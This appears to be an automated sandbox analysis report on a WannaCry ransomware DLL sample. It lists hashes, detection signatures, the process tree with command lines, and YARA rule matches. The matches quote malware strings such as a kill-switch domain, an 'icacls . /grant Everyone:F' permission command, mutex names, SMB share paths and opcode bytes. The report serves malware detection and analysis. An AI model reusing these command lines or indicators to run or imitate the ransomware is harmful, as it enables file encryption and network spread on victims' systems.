Edit tour

Windows Analysis Report
7B6t4L7E2o

Overview

General Information

Sample Name:	7B6t4L7E2o (renamed file extension from none to dll)
Analysis ID:	670705
MD5:	a55b9addb2447db1882a3ae995a70151
SHA1:	f8d5a24a90ae78bece5f280852e0f393757fc685
SHA256:	cf5ddb5dedea0104a3fc464c822e6181a9dd9fa6e27e713c54af0eafb7c5faf0
Tags:	dllOpenCTIBRSandboxed
Infos:

Detection

Wannacry

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Detected Wannacry Ransomware

Malicious sample detected (through community Yara rule)

Yara detected Wannacry ransomware

Antivirus / Scanner detection for submitted sample

Tries to download HTTP data from a sinkholed server

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Machine Learning detection for sample

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many different private IPs (likely to spread or exploit)

Machine Learning detection for dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Connects to many different private IPs via SMB (likely to spread or exploit)

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

AV process strings found (often used to terminate AV products)

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Connects to several IPs in different countries

Dropped file seen in connection with other malware

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6976 cmdline: loaddll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 6984 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 7008 cmdline: rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvc.exe (PID: 7052 cmdline: C:\WINDOWS\mssecsvc.exe MD5: 478ABB44DBBA06E87DECD2DF49F3D986)

tasksche.exe (PID: 6128 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 3233ACED9279EF54267C479BBA665B90)

rundll32.exe (PID: 6996 cmdline: rundll32.exe C:\Users\user\Desktop\7B6t4L7E2o.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7068 cmdline: rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvc.exe (PID: 7080 cmdline: C:\WINDOWS\mssecsvc.exe MD5: 478ABB44DBBA06E87DECD2DF49F3D986)

tasksche.exe (PID: 6004 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 3233ACED9279EF54267C479BBA665B90)

mssecsvc.exe (PID: 7128 cmdline: C:\WINDOWS\mssecsvc.exe -m security MD5: 478ABB44DBBA06E87DECD2DF49F3D986)

svchost.exe (PID: 7780 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 8132 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5416 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 9388 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 12220 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
7B6t4L7E2o.dll	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x45604:$x1: icacls . /grant Everyone:F /T /C /Q 0x353d0:$x3: tasksche.exe 0x455e0:$x3: tasksche.exe 0x455bc:$x4: Global\MsWinZonesCacheCounterMutexA 0x45634:$x5: WNcry@2ol7 0x3543b:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x3028:$x7: mssecsvc.exe 0x120ac:$x7: mssecsvc.exe 0x1b3b4:$x7: mssecsvc.exe 0x353a8:$x8: C:\%s\qeriuwjhrf 0x45604:$x9: icacls . /grant Everyone:F /T /C /Q 0x3014:$s1: C:\%s\%s 0x12098:$s1: C:\%s\%s 0x1b39c:$s1: C:\%s\%s 0x353bc:$s1: C:\%s\%s 0x45534:$s3: cmd.exe /c "%s" 0x77a88:$s4: msg/m_portuguese.wnry 0x326f0:$s5: \\192.168.56.20\IPC$ 0x1fae5:$s6: \\172.16.99.5\IPC$ 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
7B6t4L7E2o.dll	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7B6t4L7E2o.dll	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x455e0:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x45608:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\tasksche.exe	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
C:\Windows\tasksche.exe	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
C:\Windows\tasksche.exe	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
C:\Windows\mssecsvc.exe	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0xe048:$x7: mssecsvc.exe 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0xe034:$s1: C:\%s\%s 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
C:\Windows\mssecsvc.exe	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
C:\Windows\mssecsvc.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
C:\Windows\mssecsvc.exe	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
C:\Windows\mssecsvc.exe	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000000.383555481.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.386656111.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.388921901.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.388154808.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.391231857.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000002.402789038.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
0000000A.00000000.402045388.000000000040E000.00000008.00000001.01000000.00000007.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000007.00000002.989090539.000000000042E000.00000004.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.395266769.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
0000000A.00000002.403090733.000000000040E000.00000008.00000001.01000000.00000007.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.381743953.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000008.00000000.400435430.000000000040E000.00000008.00000001.01000000.00000006.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.386794832.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.394868097.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000002.406030785.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.394973919.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000006.00000002.406179599.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000006.00000000.395368035.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.389103282.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000006.00000000.386790075.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000007.00000002.989227568.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.386917948.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.381846118.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000002.402895877.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000006.00000000.388214852.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000004.00000000.383619617.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
00000006.00000000.391365800.0000000000710000.00000002.00000001.01000000.00000004.sdmp	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf57c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf5a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
Process Memory Space: mssecsvc.exe PID: 7052	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvc.exe PID: 7080	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvc.exe PID: 7128	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.0.mssecsvc.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
7.0.mssecsvc.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.0.mssecsvc.exe.7100a4.1.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.2.mssecsvc.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.2.mssecsvc.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.2.mssecsvc.exe.7100a4.1.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.0.mssecsvc.exe.7100a4.5.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.7100a4.5.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
